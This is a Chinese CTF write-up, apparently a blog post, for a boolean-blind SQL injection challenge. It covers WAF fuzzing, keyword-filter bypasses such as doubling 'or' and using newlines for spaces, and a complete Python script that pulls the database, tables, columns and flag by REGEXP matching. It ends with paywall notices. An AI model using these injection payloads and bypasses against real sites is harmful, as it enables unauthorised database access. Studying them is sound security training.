我觉得我这writeup还是稍微啰嗦下。

POST提交
id=1
显示You are in ................

id=0
显示You are not in ...............

有区别就好做了,随便输入id=1pcatissocoooooooooool还是回显You are in
说明这是字符型注入,1开头的字符串被弱类型等于1,输入id=1'显示You are not in,就庆幸了,因为说明单引号没被转义(若是转义了,就应该显示You are in)。这里作为一名ctfer,有种直觉就是会有waf,于是POST提交 id=1§1§使用burpuite的Intruder功能,使用单字符的字典(自己准备啊),测试下waf有哪些(这其实就是一种模糊测试)。
第一轮发现waf有#%,;^|

再深入下,id=1 1(中间有空格),发现Sql injection detected!说明空格被waf,这点倒不急,代替方案有好几种(请理清楚流程再来),再分别提交1and,1union(当然我是测试了很多个关键字)发现and和union都被waf。

由于#和空格被过滤,导致不能实现注释功能,只能闭合语句了。
提交id=1'%0aor%0a''='
(这里空格我是用%0a来代替,事实上我也尝试过/**/等)
发现竟然是You are not in,这时候就要冷静下,一般来说这语句足以闭合,是等于号被过滤么?不太可能,如果过滤了等于号,盲注基本可以不用做了。而单引号最早也说没被转义,所以剩下的就是or了,尝试下大小写id=1'%0aOr%0a''='或者复写id=1'%0aoorr%0a''='都可以得到You are in,说明就是把or给替换一次为空。
(接下来为了让大家方便看,我的空格和or都直接写出,而不是使用%0a和oorr,还望明了)

再测试
id=0' or '*'='
id=0' or '-'='
都显示You are in,说明*和-都被替换为空,所以空格也不能使用/**/来代替。

接下来就可以进行盲注,盲注时候有几个坑点。
1.substr也被waf
2.一开始说了逗号被waf,所以len(),right(),mid(),limit都尴尬
3.for和information_schema都含有关键字or,于是得记得复写或者大小写绕过
4.由于^被waf,导致REGEXP正则匹配不能从字符串开头匹配起

以下说下我的盲注思路,可能各位有更好的解题思路,还望分享。
我使用length来计算字符串的长度,以及$不被过滤,于是结合REGEXP从字符串尾部往头部盲注起。
由于有一些字符被过滤,所以我盲注的字符串最后是点号,若是得到点号,就猜测下是什么。例如列名含了一个$符号,最后flag含了一个空格。
(以下我的脚本里其实每一步都把答案写出来了,如果运行时候缓慢,你可以注释掉一些已知的,再重新运行)

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'

import requests
import string
import time

def payload(rawstr):
    newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
    return newstr


def foo():
    url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
    mys=requests.session()
    cset=string.digits+string.lowercase+'!_{}@~.'
    true_state='You are in'

    lens=0
    i=1
    model="0' or length(database())=%d or 'pcat'='"
    while True:
        tmp= model %(i)
        myd={'id':payload(tmp),}
        res=mys.post(url,data=myd).content
        if true_state in res:
            lens=i
            break
        i+=1
        pass
    lens=18
    print("[+]length(database()): %d" %(lens))

    strs=''
    model="0' or (select database() regexp '%s$') or 'pcat'='"
    for i in range(lens):
        for c in cset:
            tmp=model %(c+strs)
            myd={'id':payload(tmp),}
            res=mys.post(url,data=myd).content
            if true_state in res:
                strs=c+strs
                print strs
                break
        pass
    pass
    strs='ctf_sql_bool_blind'
    print("[+]database():%s" %(strs)) 


    lens=0
    i=1
    model="0' or length(user())=%d or 'pcat'='"
    while True:
        tmp= model %(i)
        myd={'id':payload(tmp),}
        res=mys.post(url,data=myd).content
        if true_state in res:
            lens=i
            break
        i+=1
        pass
    lens=14
    print("[+]length(user()): %d" %(lens))

    strs=''
    model="0' or (select user() regexp '%s$') or 'pcat'='"
    for i in range(lens):
        for c in cset:
            tmp=model %(c+strs)
            myd={'id':payload(tmp),}
            res=mys.post(url,data=myd).content
            if true_state in res:
                strs=c+strs
                print strs
                break
        pass
    pass
    strs='web7@localhost'
    print("[+]user():%s" %(strs))



    lens=0
    i=1
    model="0' or length((select group_concat(table_name separator '@') from information_schema.tables where table_schema=database() limit 1))=%d or 'pcat'='"
    while True:
        tmp= model %(i)
        myd={'id':payload(tmp),}
        res=mys.post(url,data=myd).content
        if true_state in res:
            lens=i
            break
        i+=1
        pass
    lens=10
    print("[+]length(group_concat(table_name separator '@')): %d" %(lens))

    strs=''
    model="0' or (select (select group_concat(table_name separator '@') from information_schema.tables where table_schema=database() limit 1) regexp '%s$') or 'pcat'='"
    for i in range(lens):
        for c in cset:
            tmp=model %(c+strs)
            myd={'id':payload(tmp),}
            res=mys.post(url,data=myd).content
            if true_state in res:
                strs=c+strs
                print strs
                break
        pass
    pass
    strs='fiag@users'
    print("[+]group_concat(table_name separator '@'):%s" %(strs))


    lens=0
    i=1
    model="0' or length((select group_concat(column_name separator '@') from information_schema.columns where table_name='fiag' limit 1))=%d or 'pcat'='"
    while True:
        tmp= model %(i)
        myd={'id':payload(tmp),}
        res=mys.post(url,data=myd).content
        if true_state in res:
            lens=i
            break
        i+=1
        pass
    lens=5
    print("[+]length(group_concat(column_name separator '@')): %d" %(lens))

    strs=''
    model="0' or (select (select group_concat(column_name separator '@') from information_schema.columns where table_name='fiag' limit 1) regexp '%s$') or 'pcat'='"
    for i in range(lens):
        for c in cset:
            tmp=model %(c+strs)
            myd={'id':payload(tmp),}
            res=mys.post(url,data=myd).content
            if true_state in res:
                strs=c+strs
                print strs
                break
        pass
    pass
    # get fl.4g maybe is fl.4g or f1$4g
    strs='fl$4g'
    print("[+]group_concat(column_name separator '@'):%s" %(strs))


    lens=0
    i=1
    model="0' or length((select fl$4g from fiag limit 1))=%d or 'pcat'='"
    while True:
        tmp= model %(i)
        myd={'id':payload(tmp),}
        res=mys.post(url,data=myd).content
        if true_state in res:
            lens=i
            break
        i+=1
        pass
    lens=19
    print("[+]length(fl$4g): %d" %(lens))

    strs=''
    model="0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='"
    for i in range(lens):
        for c in cset:
            tmp=model %(c+strs)
            myd={'id':payload(tmp),}
            res=mys.post(url,data=myd).content
            if true_state in res:
                strs=c+strs
                print strs
                break
        pass
    pass
    # get flag{haha~you.win!}
    strs='flag{haha~you win!}'
    print("[+]fl$4g:%s" %(strs))
    pass

if __name__ == '__main__':
    foo()
    print 'ok'

Flag:

温馨提示: 此处内容需要评论本文后刷新才能查看,支付2元即可直接查看所有Flag。

小广告:关于获取西普实验吧所有Writeup请点击这里查看索引

查看所有Flag需要付费,需要获取所有Flag的童鞋请访问这里成为付费用户,可以自助把自己的注册邮箱加入网站白名单,即可免回复看到本站所有Flag

Flag大全地址:所有Flag

PS:本站不是实验吧的官方站点,纯粹是个人博客,收取Flag费用仅是维持服务器费用,做站不易,且行窃珍惜,如果喜欢我的博客,愿意捐赠的,可以扫描下面的二维码

微信二维码:
支付宝二维码: